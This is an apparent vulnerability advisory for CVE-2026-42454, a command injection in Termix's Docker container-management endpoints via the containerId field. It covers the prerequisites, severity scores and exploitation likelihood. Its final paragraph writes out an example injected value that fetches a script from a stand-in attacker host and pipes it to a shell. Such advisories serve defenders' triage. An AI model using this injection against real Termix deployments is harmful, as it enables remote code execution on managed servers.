Termix CVE-2026-42454

Exploitation requires (1) an authenticated Termix account (CVSS PR:L - any valid low-privileged user, not necessarily admin), and (2) that the target host is registered as a managed server the account can reach through Termix. The concrete trigger is any Docker container-management endpoint that accepts the containerId path parameter or WebSocket message field on a version prior to 2.1.0; the attacker sets containerId to a value containing shell metacharacters. Limiting factors: valid credentials are needed (no unauthenticated path), the deployment must actually use Termix's Docker management feature against at least one managed server, and the affected version must be < 2.1.0. No admin role, no user interaction, and no non-default configuration beyond having managed servers are required.

The signals are mixed. CVSS 3.1 is 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H): network-reachable, low-complexity, only low privileges needed, no user interaction, and a scope change reflecting that code executes on downstream managed servers - a severe technical outcome (SSVC Technical Impact: total). Against that, exploitation-likelihood signals are low: EPSS is 0.07% (22nd percentile), SSVC records Exploitation: none and Automatable: no, and there is no public exploit identified. The PR:L requirement means an attacker must first hold a valid Termix account, and Termix is a niche product, so real-world mass exploitation is unlikely despite the near-maximal CVSS. This is a genuine priority for anyone actually running Termix (trivial for any authenticated user to weaponize) but not a broad internet-wide emergency. Note SSVC Automatable:no conflicts somewhat with AC:L/PR:L - injection itself is trivial, so 'automatable' likely reflects the need for prior authentication rather than exploit difficulty.

A low-privileged but authenticated Termix user opens a Docker container view (or sends a WebSocket message) and supplies a container ID such as x; curl http://attacker/s | sh. Termix interpolates that value into a shell command and runs it over SSH on the selected managed server, executing the attacker's payload with the privileges of Termix's SSH account. No user interaction from an admin and no special exploit tooling is required; no public POC has been published, but the injection is trivial to construct.